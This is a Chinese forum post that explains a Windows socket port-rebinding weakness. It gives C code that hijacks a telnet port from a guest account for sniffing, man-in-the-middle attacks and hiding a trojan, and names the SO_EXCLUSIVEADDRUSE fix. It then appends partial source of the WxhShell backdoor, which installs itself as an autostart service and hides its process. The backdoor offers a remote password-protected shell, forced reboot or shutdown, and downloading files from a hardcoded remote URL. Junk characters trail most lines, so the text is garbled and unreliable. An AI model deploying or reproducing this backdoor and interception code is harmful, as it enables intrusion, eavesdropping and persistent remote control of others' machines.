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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I51I(QF=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nw(R=C  
29cx(  
  saddr.sin_family = AF_INET; Gn<0Fy2  
5p6/dlN-a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); f3S 8~!  
'2 Y8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7M8cF>o  
-ijzo%&qA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cbl>:ev1h  
_D$1CaAYo  
  这意味着什么?意味着可以进行如下的攻击: "Mz#1Laby`  
xT(0-o*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e+)y6Q=  
;tQ(l%!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;YSe:m*  
T}/|nOu 5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @Ne&%F?^Z  
P+BGCc%);B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X&IT  s  
LH.Gf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ix$ ^1(  
>'4$g7o,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B):ZX#  
T?RN} @D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -xbs'[  
cQ'x]u_  
  #include 3iUJ!gK  
  #include h=\1ZQKC)  
  #include I L,lXB<  
  #include    v|KIVBkbT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +r7hc;+G  
  int main() ]=9 d'WL  
  { %a|Qw(4\  
  WORD wVersionRequested; oUO3,2bn  
  DWORD ret; &nwS7n1eb  
  WSADATA wsaData; pU'${Z~b  
  BOOL val; ]#W7-Q;]  
  SOCKADDR_IN saddr; /q}(KJX  
  SOCKADDR_IN scaddr; m(o`;  
  int err; { ^^5FE)%  
  SOCKET s; #!E`%' s]  
  SOCKET sc; nCQ".G  
  int caddsize; E 0/>E  
  HANDLE mt; RN|Bk  
  DWORD tid;   u})*6l.  
  wVersionRequested = MAKEWORD( 2, 2 ); mln4Vl(l2M  
  err = WSAStartup( wVersionRequested, &wsaData ); (>E/C^Tc%  
  if ( err != 0 ) { #d*0 )w  
  printf("error!WSAStartup failed!\n"); RyU8{-q  
  return -1; 5D2mZ/  
  } 5gV,^[E-z  
  saddr.sin_family = AF_INET; DBG0)=SHy  
   v9FR  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,]nRnI^  
:y`LF <  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \F-n}Z  
  saddr.sin_port = htons(23); 4f~sRubK  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DaJ,( DJY  
  { g],]l'7H  
  printf("error!socket failed!\n"); k=mLcP  
  return -1; ~JNE]mg  
  } MgJ5FRQ  
  val = TRUE; Ook\CK*nKe  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 CM$&XJzva  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ju3@F8AI  
  { :*BN>*1^\r  
  printf("error!setsockopt failed!\n"); :3XvHL0rx  
  return -1; >2#<tH0  
  } d}tmZ*q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,A7:zxnc.V  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Pz[UAJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mdyl;e{0  
GF9[|). T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \!30t1EZ  
  { $]Ix(7@W  
  ret=GetLastError(); TB?'<hD:  
  printf("error!bind failed!\n"); 0Ze&GK'Hf  
  return -1; .>}I/+n  
  } D "5|\  
  listen(s,2); H\n6t-l  
  while(1) DTuco9yr[  
  { I4+1P1z  
  caddsize = sizeof(scaddr); 5'+g[eNyBV  
  //接受连接请求 }No#_{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R.2i%cU  
  if(sc!=INVALID_SOCKET) 8{!|` b'f  
  { ky]^N)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); SP<Sv8Okj  
  if(mt==NULL) Te~jYkCd  
  { <}A6 )=T  
  printf("Thread Creat Failed!\n"); \)wVO*9*0  
  break; v;5-1  
  } J k`Jv;  
  } ks("( nU  
  CloseHandle(mt); @(oY.PeS<z  
  } #<B?+gzFM{  
  closesocket(s); <*z'sUh+}  
  WSACleanup(); j^8HTa0Cy|  
  return 0; sC[#R.eq  
  }   g.Qn,l]X/p  
  DWORD WINAPI ClientThread(LPVOID lpParam) "%+||IyW  
  { 4[gbRn'  
  SOCKET ss = (SOCKET)lpParam; ": BZZ\!  
  SOCKET sc; f/Y7@y  
  unsigned char buf[4096]; tDah@_  
  SOCKADDR_IN saddr; `>g\gaQ  
  long num; xi.?@Lff  
  DWORD val; o6|- :u5_/  
  DWORD ret; lH`c&LL-=!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "Dk@-Ac  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *0@Z+'M?  
  saddr.sin_family = AF_INET; 0PFC %x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D4(73  
  saddr.sin_port = htons(23); frm[<-~w0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bZgo}`o%  
  { L\"wz scn  
  printf("error!socket failed!\n"); Fje /;p  
  return -1; '_Pb\ jK  
  } .pe.K3G &  
  val = 100; 42hG }Gt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PWvTC`?  
  { MIl\Bn  
  ret = GetLastError(); ]j,o!|rx7  
  return -1; NX(IX6^y  
  } +}( ]7du  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |x1Ttr,  
  { R+He6c!?9  
  ret = GetLastError(); tC$+;_=+F  
  return -1; n#WOIweInf  
  } ? eI)m  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n} !')r  
  { ow 6\j:$?  
  printf("error!socket connect failed!\n");  -L2 +4  
  closesocket(sc); K%BFR,)g  
  closesocket(ss); ] s 2ec  
  return -1; DwFvM0O6\  
  } K iXD1Zpz  
  while(1) s nxwe  
  { v,N!cp1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {Fyw<0 [@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +/n]9l]#h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y6sY?uu  
  num = recv(ss,buf,4096,0); `WC4:8  
  if(num>0) PIFZ '6gn  
  send(sc,buf,num,0); bzZdj6>kX  
  else if(num==0) L{&1w  
  break; i>G:*?a  
  num = recv(sc,buf,4096,0); <?8cVLW} O  
  if(num>0) V_v+i c^  
  send(ss,buf,num,0); wod{C!  
  else if(num==0) ~ W8 M3(^  
  break; r z@%rOWV  
  } v [x 5@$  
  closesocket(ss); #3?"#),q  
  closesocket(sc); cw~GH  
  return 0 ; l,A\]QDvl  
  } e*( _Cvxp  
=yqg,w&Q  
"Ya ;&F.'  
========================================================== rc%*g3ryLG  
u|EJ)dT?  
下边附上一个代码,,WXhSHELL 4U)%JK.ta  
$1)NYsSH/H  
========================================================== T?u*ey~Tv  
/Z#AHfKF  
#include "stdafx.h" 93w$ck},?G  
O f-gG~  
#include <stdio.h> C`3fM05g  
#include <string.h> ^( C,LVP<  
#include <windows.h> 98<^!mwF  
#include <winsock2.h> c[OQo~m$  
#include <winsvc.h> M5`m5qc3  
#include <urlmon.h> /n,a0U/  
*x 2u  
#pragma comment (lib, "Ws2_32.lib") 3+U2oI:I  
#pragma comment (lib, "urlmon.lib") }gX4dv B  
5/m*Lc+r  
#define MAX_USER   100 // 最大客户端连接数 ov!L8 9`[u  
#define BUF_SOCK   200 // sock buffer lu1T+@t  
#define KEY_BUFF   255 // 输入 buffer d]=>U^K  
hiR+cPSF  
#define REBOOT     0   // 重启 l>HB0o  
#define SHUTDOWN   1   // 关机 X/Fip 0i  
={190=\9  
#define DEF_PORT   5000 // 监听端口 ;lTgihW-  
J(XK%e[8  
#define REG_LEN     16   // 注册表键长度 nu|odP  
#define SVC_LEN     80   // NT服务名长度 zCwb>v  
F>@z&a}(  
// 从dll定义API d +eb![fi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7#T@CKdUd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4=* ml}RP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :NH '>'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3i}$ ~rz]U  
_1$+S0G;  
// wxhshell配置信息 'xM\txZ;  
struct WSCFG { yAel4b/}  
  int ws_port;         // 监听端口 8Waic&lX~  
  char ws_passstr[REG_LEN]; // 口令 Z>@\!$Mc  
  int ws_autoins;       // 安装标记, 1=yes 0=no jJ_6_8#  
  char ws_regname[REG_LEN]; // 注册表键名 u`*$EP-%  
  char ws_svcname[REG_LEN]; // 服务名 c/3]M>+M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @(tuE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $~A\l@xAG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e7U9"pk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?nR$>a`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }T=\hM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hJJo+NNN  
(jE[W:  
}; $:DhK  
hJ V*  
// default Wxhshell configuration <jVk}gi)Jp  
struct WSCFG wscfg={DEF_PORT, P'Jb')m  
    "xuhuanlingzhe", G&0JK ,Y  
    1, < *{(>  
    "Wxhshell", 0j 'k%R[l  
    "Wxhshell", N_.`5I;e  
            "WxhShell Service", (W`=`]!  
    "Wrsky Windows CmdShell Service", a4!6K  
    "Please Input Your Password: ", -32.g \]  
  1, +G!;:o  
  "http://www.wrsky.com/wxhshell.exe", 8ax3"G  
  "Wxhshell.exe" 'DH_ihZ  
    }; WOGMt T%  
g[xn0 rG  
// 消息定义模块 y {Mh ?H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qSL~A-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Nx(y_.I{K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MWc{7,  
char *msg_ws_ext="\n\rExit."; @/?$ZX/e[  
char *msg_ws_end="\n\rQuit."; pM@0>DVi  
char *msg_ws_boot="\n\rReboot..."; ga91#NWgK  
char *msg_ws_poff="\n\rShutdown..."; fbW#6:Y  
char *msg_ws_down="\n\rSave to "; Wuji'sxTs  
MXpj_+@  
char *msg_ws_err="\n\rErr!"; {D&:^f  
char *msg_ws_ok="\n\rOK!"; K:sC6|wG  
<.6$zcW  
char ExeFile[MAX_PATH]; 9hs7B!3pc>  
int nUser = 0; !1?Nc}T0Q&  
HANDLE handles[MAX_USER]; z#| tl/aP9  
int OsIsNt; (KG>lTdN  
`\S~;O  
SERVICE_STATUS       serviceStatus; uwb>q"M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?Wp{tB9N0  
noNL.%I  
// 函数声明 j,JGs[A  
int Install(void); /F @a@m|  
int Uninstall(void); Ucok&)7-  
int DownloadFile(char *sURL, SOCKET wsh); 1hgmlY`  
int Boot(int flag); UbV} !  
void HideProc(void); -zL xT  
int GetOsVer(void); \LW '6 pQ_  
int Wxhshell(SOCKET wsl); [kq+a] q  
void TalkWithClient(void *cs); ~4~>; e  
int CmdShell(SOCKET sock); kv3jbSKCT  
int StartFromService(void); axi%5:I  
int StartWxhshell(LPSTR lpCmdLine); V?Zvu9b&  
Eq/%k $6#1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "Mmvf'N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /!0{9F<  
Nb;Yti@Y.  
// 数据结构和表定义 1Q$Z'E}SK@  
SERVICE_TABLE_ENTRY DispatchTable[] = ;zvg]  %  
{ =Wk!mGc  
{wscfg.ws_svcname, NTServiceMain}, Ow]c,F}^  
{NULL, NULL} hu qQ0  
}; <)(STo  
dmD ':1  
// 自我安装 C_Z[ul  
int Install(void) X\1'd,V  
{  i'9  
  char svExeFile[MAX_PATH]; w_i$/`i+  
  HKEY key; 6*2z^P9FRj  
  strcpy(svExeFile,ExeFile); A5gdZZ'x  
N5[fw z w  
// 如果是win9x系统,修改注册表设为自启动 } Pc6_#  
if(!OsIsNt) { &wZ:$lK#o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p,9eZUGy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R:v`\  
  RegCloseKey(key); 1)M>vdrP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ye_)~,{,p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5ff66CRw  
  RegCloseKey(key); # 1,(I  
  return 0; T=2 91)@  
    } iwfv t^  
  } b-+iL  
} `+QrgtcEy4  
else { Ip4SdbU  
hQgi--Msw'  
// 如果是NT以上系统,安装为系统服务 ,*V{g pC7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !g~xn2m$R  
if (schSCManager!=0) |&TRN1  
{ l>M&S^/s j  
  SC_HANDLE schService = CreateService C@L:m1fz  
  ( 3u8HF-  
  schSCManager, L +s,,k  
  wscfg.ws_svcname, iffRGnN^e  
  wscfg.ws_svcdisp, "ND 7,rQ  
  SERVICE_ALL_ACCESS, p_ QL{gn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DY{JA *N  
  SERVICE_AUTO_START, @&2bLJJ+  
  SERVICE_ERROR_NORMAL, j=d@Ih*  
  svExeFile, 3&-BO%i  
  NULL, "Gxf[6B  
  NULL, q$s0zqV5  
  NULL, U:xr['  
  NULL, t{K1ht$[:  
  NULL W6~B~L  
  ); 7@rrAs-"Z  
  if (schService!=0) fN>o465I6  
  { j4Cad  
  CloseServiceHandle(schService); H6*d#!  
  CloseServiceHandle(schSCManager); C sn"sf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i3>7R'q>  
  strcat(svExeFile,wscfg.ws_svcname); >+fet ,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0=&Hm).  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ek#{!9-  
  RegCloseKey(key); [>4Ou^=1  
  return 0; Xi1/wbC  
    } WrL&$dEJ?M  
  } U)+Yh  
  CloseServiceHandle(schSCManager); }} l04kN_  
} fXBA P10#  
} O6;7'  
7WW@%4(  
return 1;  #IyxH$  
} K9gfS V>]  
#tdI;x3  
// 自我卸载 (~N &ov  
int Uninstall(void) cyG3le& +G  
{ {v56k8uZ  
  HKEY key; <`a!%_LC [  
KyNv)=x4c  
if(!OsIsNt) { \ M8;CN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }ruBbeQ  
  RegDeleteValue(key,wscfg.ws_regname); x2[A(O=  
  RegCloseKey(key); B9n$8QS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IiIF4 pQ,  
  RegDeleteValue(key,wscfg.ws_regname); ~(%nnG6x  
  RegCloseKey(key); aDTNr/I  
  return 0; 3xh~xE  
  } {(A Ys*5  
} 'ac %]}`-  
} M"#xjP.  
else { 5R/!e`(m  
k 0z2)3L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ">lu8F  
if (schSCManager!=0) ;2-,Xzz8  
{ Q'&oSPXSDd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Qhsh{muw(  
  if (schService!=0) Y: oL  
  { 4E}/{1  
  if(DeleteService(schService)!=0) { 9#iu#?*B  
  CloseServiceHandle(schService); diGPTV-?$  
  CloseServiceHandle(schSCManager);  =h\,-8  
  return 0; ;dNKe.`Dg  
  } cRK1JxU  
  CloseServiceHandle(schService); [GX5jD#  
  } JV Fn=Mw  
  CloseServiceHandle(schSCManager); _1 f!9ghT\  
} \SS1-UbL  
} <|~X,g;f  
<l(LQmM;  
return 1; )}1 J.>5  
} r%JJ5Al.S  
hdp;/Qz&  
// 从指定url下载文件 #7+oM8b  
int DownloadFile(char *sURL, SOCKET wsh) 34Q l7LQp[  
{ KQj5o>} 6  
  HRESULT hr; *pCT34'--  
char seps[]= "/"; |[;9$Vn  
char *token; +HQX]t:Y  
char *file; lO9ML-8C1  
char myURL[MAX_PATH]; 5\V>Sj(  
char myFILE[MAX_PATH]; (hS j4Cp  
Tf) qd\  
strcpy(myURL,sURL); K 38e,O  
  token=strtok(myURL,seps); )'KkO$^&  
  while(token!=NULL) \m~ ?mg"#  
  { 61HU_!A8S  
    file=token; iF?4G^  
  token=strtok(NULL,seps); M3c-/7  
  } h.E8G^}@  
/\V-1 7-  
GetCurrentDirectory(MAX_PATH,myFILE); (PE x<r1   
strcat(myFILE, "\\"); 8hZ+[E}  
strcat(myFILE, file); @-Tt<pl'L  
  send(wsh,myFILE,strlen(myFILE),0); 6LrG+p`  
send(wsh,"...",3,0); 1WRQjT=o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a.#`>  
  if(hr==S_OK) UR44 iA]  
return 0; Cb5;l~}L  
else {M96jjiInf  
return 1; /qa{*"2Qo  
YD_hg#=n  
} 4!64S5(7t  
lM~ 3yBy  
// 系统电源模块 OaY.T  
int Boot(int flag) P3UU~w+s  
{ oOlqlv  
  HANDLE hToken; sa$CCQ  
  TOKEN_PRIVILEGES tkp; 8i/5L=a"`  
Kur3Gf X  
  if(OsIsNt) { 7)tkqfb]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~v"4;A 6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @&p:J0hbp  
    tkp.PrivilegeCount = 1; awkPFA*c'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >M=_:52.+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PTrKnuM\J_  
if(flag==REBOOT) { <fg~+{PA&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L& ucTc =  
  return 0; 7ESSx"^B  
} F_.rLgGY  
else { >zFk}/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GdHFgxI  
  return 0; t% Sgw%f  
} ^S:S[0\,  
  } P0VXHE1p  
  else { $`,10uw  
if(flag==REBOOT) { *;cvG?V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :}'5'oVG  
  return 0; vqO d`_)  
} KT$Za  
else { R8LJC]6Bh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ovm109fTx  
  return 0; V>D8l @  
} 4eH:eCZze  
} @h7)M:l  
D$@5$./  
return 1; qF'lh  
} oGt,^!V1  
c\A 4-08  
// win9x进程隐藏模块 \PReQ|[ah  
void HideProc(void) {Tx"G9  
{ U; -2)+  
gQ90>P:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >NLG"[\  
  if ( hKernel != NULL ) rlxZ,]ul  
  { w5fVug/;P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #uTNf78X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _L?MYkD  
    FreeLibrary(hKernel); (D2G.R\pr  
  } S$#"bK/p^  
#gW"k;7P  
return; 8/W(jVO(-  
} pmda9V4  
DO*rVs3'p[  
// 获取操作系统版本 M3q%(!2  
int GetOsVer(void) WB)pE'5  
{ R !&9RvNw  
  OSVERSIONINFO winfo; 8XfhXm>~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3( &k4  
  GetVersionEx(&winfo); dfy]w4ETB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &/dYJv$[9  
  return 1; mok94XuK)  
  else o3b=)E  
  return 0; X1DE   
} r2ZSkP.  
an q1zH  
// 客户端句柄模块 9w3KAca  
int Wxhshell(SOCKET wsl) TAL,(&[s  
{ n_~u!Ky_P  
  SOCKET wsh; "w 7{,HP  
  struct sockaddr_in client; 5Z;iK(>IX  
  DWORD myID; v']Tusmg  
 4,g_$)  
  while(nUser<MAX_USER) RE._Ov>  
{ } H#C<:A  
  int nSize=sizeof(client); _uXb 9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Cb4.N 8  
  if(wsh==INVALID_SOCKET) return 1; \/XU v(  
9'5<b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 79&=MTM  
if(handles[nUser]==0) C#qF&n  
  closesocket(wsh); ._%8H  
else Jb/VITqN4  
  nUser++; @LSfP  
  } B:)PUBb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P5Bva  
pTB1I3=.u  
  return 0; , wXixf2  
} H 0( .p'eN  
^O0trM>h-  
// 关闭 socket B,V:Qs6"  
void CloseIt(SOCKET wsh) pk8`suZ  
{ hZIbN9)8A  
closesocket(wsh); L;\f^v(  
nUser--; Y{KN:|i.!  
ExitThread(0); v[~~q  
} U8S<wf&  
= }ELu@\V[  
// 客户端请求句柄 ,_K y'B  
void TalkWithClient(void *cs) G^ShN45   
{ :3N6Ej  
y$Fk0s*>  
  SOCKET wsh=(SOCKET)cs; ]qb>O:T  
  char pwd[SVC_LEN]; ajCe&+  
  char cmd[KEY_BUFF]; Z-j?N{3&  
char chr[1]; fQU5'wGp  
int i,j; cb=ixn  
%E8HLTEvl  
  while (nUser < MAX_USER) { ~@#s<a,%;  
j'x@P+A  
if(wscfg.ws_passstr) { -!lSk?l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g es-nG-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lb{X6_.  
  //ZeroMemory(pwd,KEY_BUFF); i);BTwW)#]  
      i=0; uS<og P  
  while(i<SVC_LEN) { qWU59:d^{  
y@h v#;  
  // 设置超时 Xv+!) j<  
  fd_set FdRead; XE'3p6  
  struct timeval TimeOut; (%j V [Q  
  FD_ZERO(&FdRead); A(9$!%#+L  
  FD_SET(wsh,&FdRead); /&H l62Ak  
  TimeOut.tv_sec=8; Fs}B\R/J  
  TimeOut.tv_usec=0; (]Q0L{~K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C%#w1k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #/"Tb ^c9  
E]Q d5l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WN $KS"b6}  
  pwd=chr[0]; V~_6t{L  
  if(chr[0]==0xd || chr[0]==0xa) { Alv"D  
  pwd=0; 8UzF*gS  
  break; %x./>-[t  
  } +TW,!.NBG  
  i++; fh*7VuAc  
    } ZcHd.1fXh  
!<&To  
  // 如果是非法用户,关闭 socket ]n! oa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u+9)B 6O1  
} ki'<qa  
= Rn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RDU 'l^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HBNX a  
HXN. ,[  
while(1) { vA{DF{S 4  
aI>F8R?  
  ZeroMemory(cmd,KEY_BUFF); !gL1  
G?^w <  
      // 自动支持客户端 telnet标准   z5_jx&^Z  
  j=0; G%junS'zt  
  while(j<KEY_BUFF) { as73/J6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ujn7DBE"  
  cmd[j]=chr[0]; 6P T)  
  if(chr[0]==0xa || chr[0]==0xd) { Xyu0n p;@  
  cmd[j]=0; y:  ]  
  break; |.b&\  
  } nf-6[dg  
  j++; Y>{%,d#s_  
    } F=?GV\Tw  
"!Nu A  
  // 下载文件 _&N:%;9uD  
  if(strstr(cmd,"http://")) { *Z+U}QhHD6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); , {}S<^?]  
  if(DownloadFile(cmd,wsh)) |kF"p~s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5s%FHa  
  else 8 .&P4u i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /!_FE+  
  } J|@O4 g   
  else { )h]tKYx  
f[*g8p  
    switch(cmd[0]) { vl!o^_70(  
  cR&d=+R&  
  // 帮助 5Z(q|nn7P  
  case '?': { >CqZ75>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "^ aSONz  
    break; oore:`m;  
  } "AlR%:]24~  
  // 安装 _dc,}C  
  case 'i': { 4^*Z[6nt|  
    if(Install()) l$!Z};mw0E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S^N{=*  
    else /GO((v+J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qP+%ui5xR  
    break; {qm5H7sL  
    } -%Jm-^F I  
  // 卸载 5! ]T%.rM  
  case 'r': { S] 4RGWn  
    if(Uninstall()) r!^VCA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?'>[n m  
    else ZSB;4 ?:h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6J965eM'[  
    break; 'N&s$XB,  
    } F)50 6  
  // 显示 wxhshell 所在路径 SbobXTbG  
  case 'p': { Wt=%.Y( x  
    char svExeFile[MAX_PATH]; }5d|y*  
    strcpy(svExeFile,"\n\r"); :2lM7|@/  
      strcat(svExeFile,ExeFile); P#/s5D8  
        send(wsh,svExeFile,strlen(svExeFile),0); Q@TeU#2Y  
    break; &!*p>Ns)e  
    } Va/}|& 9  
  // 重启 aw3rTT(  
  case 'b': { R_IT${O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wh3Wuh?x  
    if(Boot(REBOOT)) h  m(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $wcV~'fM  
    else { ^C8f(  
    closesocket(wsh); -}5dZ;  
    ExitThread(0); 0 d2to5 (  
    } "9RW<+  
    break; Zf?jnDA  
    } V'AZs;  
  // 关机 ]Gl5Qf:+z  
  case 'd': { R;w1& Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s="cg0PD  
